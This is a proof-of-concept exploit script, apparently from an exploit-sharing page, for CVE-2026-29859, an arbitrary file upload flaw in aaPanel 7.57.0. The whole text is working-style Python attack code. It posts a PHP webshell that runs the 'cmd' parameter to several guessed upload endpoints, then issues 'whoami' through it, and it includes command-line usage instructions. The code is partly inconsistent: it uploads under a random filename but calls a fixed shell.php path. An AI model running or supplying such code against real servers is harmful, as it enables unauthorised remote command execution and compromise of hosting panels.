CVE-2026-29859 aaPanel 7.57.0 任意文件上传漏洞

import requests import sys import random import string # CVE-2026-29859 PoC - aaPanel v7.57.0 Arbitrary File Upload # Target: aaPanel v7.57.0 # Vulnerability: Arbitrary file upload leading to RCE def generate_random_string(length=8): return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) def upload_webshell(target_url, webshell_code): """ Upload malicious file to target server """ filename = f"{generate_random_string()}.php" # Construct the file upload request files = { 'file': (filename, webshell_code, 'application/x-php') } # Try common aaPanel upload endpoints upload_endpoints = [ '/api/panel/upload', '/api/upload', '/files/upload', '/panel/upload' ] for endpoint in upload_endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.post(url, files=files, timeout=10) if response.status_code == 200: print(f"[+] Upload successful via {endpoint}") return url.replace(endpoint, response.json().get('path', '')) except Exception as e: print(f"[-] Failed to upload via {endpoint}: {e}") return None def execute_command(target_url, command): """ Execute system command via uploaded webshell """ webshell_url = target_url + "/uploads/shell.php" params = {'cmd': command} try: response = requests.get(webshell_url, params=params, timeout=10) return response.text except Exception as e: return f"Error: {e}" def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-29859.py <target_url>") print("Example: python cve-2026-29859.py http://target.com:7800") sys.exit(1) target_url = sys.argv[1] # PHP webshell code webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" print("[*] CVE-2026-29859 - aaPanel v7.57.0 Arbitrary File Upload") print(f"[*] Target: {target_url}") # Step 1: Upload webshell print("\n[1] Uploading webshell...") uploaded_path = upload_webshell(target_url, webshell) if uploaded_path: print(f"[+] Webshell uploaded to: {uploaded_path}") # Step 2: Execute commands print("\n[2] Testing RCE...") result = execute_command(target_url, "whoami") print(f"[+] Command output: {result}") else: print("[-] Failed to upload webshell") if __name__ == "__main__": main()